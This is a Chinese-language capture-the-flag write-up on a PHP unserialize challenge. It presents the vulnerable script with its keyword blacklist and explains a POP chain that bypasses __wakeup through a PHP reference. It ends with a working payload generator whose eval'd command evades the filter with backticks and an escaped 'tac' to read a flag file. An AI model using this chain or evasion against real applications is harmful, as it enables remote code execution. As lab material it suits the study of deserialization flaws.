记录一个反序列化中利用代码逻辑绕过__wakeup()函数的方法
题目代码
<?php
error_reporting(0);
class mouse
{
public $rice;
function __isset($n){
$this->rice->nothing();
}
}
class dog
{
public $a;
public $b;
public $c;
function __wakeup(){
$this->a = 'chance?';
}
function __destruct(){
$this->b = $this->c;
die($this->a);
}
}
class ct
{
public $fish;
function __toString()
{
if(isset($this->fish->d))
{
echo 'you wrong';
}
}
}
class get
{
public $cmd;
function __call($name,$no)
{
eval($this->cmd);
}
}
$pop = $_GET['pop'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
echo "you will get flag".'</br>';
unserialize($pop);
}
else{
die("Try again!");
}
分析
梳理一下类,还是比较简单的,目标就是执行get类的call函数里的eval执行命令,通过mouse的isset触发call,通过ct的toString触发isset,通过dog的destruct触发toString。
这里需要把a实例化为ct的对象,用die触发toString,但是wakeup会给a赋值成为字符串,就需要绕过这个wakeup函数。
做这个题的时候环境是没有给出PHP版本,所以试过修改成员变量数、C绕过都没有成功,然后细看了一下abc三个变量,可以利用代码逻辑去绕过,这里先给出利用方法。
$re=new dog();
$re->c=new ct();
我们实例化一个dog对象,此时a为chance?,b为空,c为ct的对象
$re->b=&$re->a;
这里我们把a的地址给到了b,那么后续对b的修改就等于对a进行了修改
$this->b = $this->c;
这一步就是把c的值赋给了b,也就是对a进行了修改,这一步之后a的值就成为了一个对象,然后die函数会触发toString执行下去。
其实一句话总结就是,在new一个对象的时候,代码中在new之后又对目标变量进行修改的时候,我们可以利用一个可控的变量1去指向目标变量,然后用另一个可控变量2改变可控变量1的值,间接改变目标变量
$re=new dog();
$re->c=new ct();
$re->b=&$re->a;
所以这三步下来代码已经可以到toString这里了
后续就是一个命令执行的绕过了,看了一下正则,没有过滤反引号 `,然后需要一个打印返回值的函数,就用print_r()就行。
最后给出payload
<?php
class mouse
{
public $rice;
function __isset($n)
{
$this->rice->nothing();
}
}
class dog
{
public $a;
public $b;
public $c;
function __wakeup()
{
$this->a = 'chance?';
}
function __destruct()
{
$this->b = $this->c;
die($this->a);
}
}
class ct
{
public $fish;
function __toString()
{
if (isset($this->fish->d)) {
echo 'you wrong';
}
}
}
class get
{
public $cmd;
function __call($name, $no)
{
eval($this->cmd);
}
}
$re=new dog();
$re->c=new ct();
$re->b=&$re->a;
$re->c->fish=new mouse();
$re->c->fish->rice=new get();
$re->c->fish->rice->cmd='print_r(`ta\c /realflag/you_want_flag.php`);';
echo serialize($re);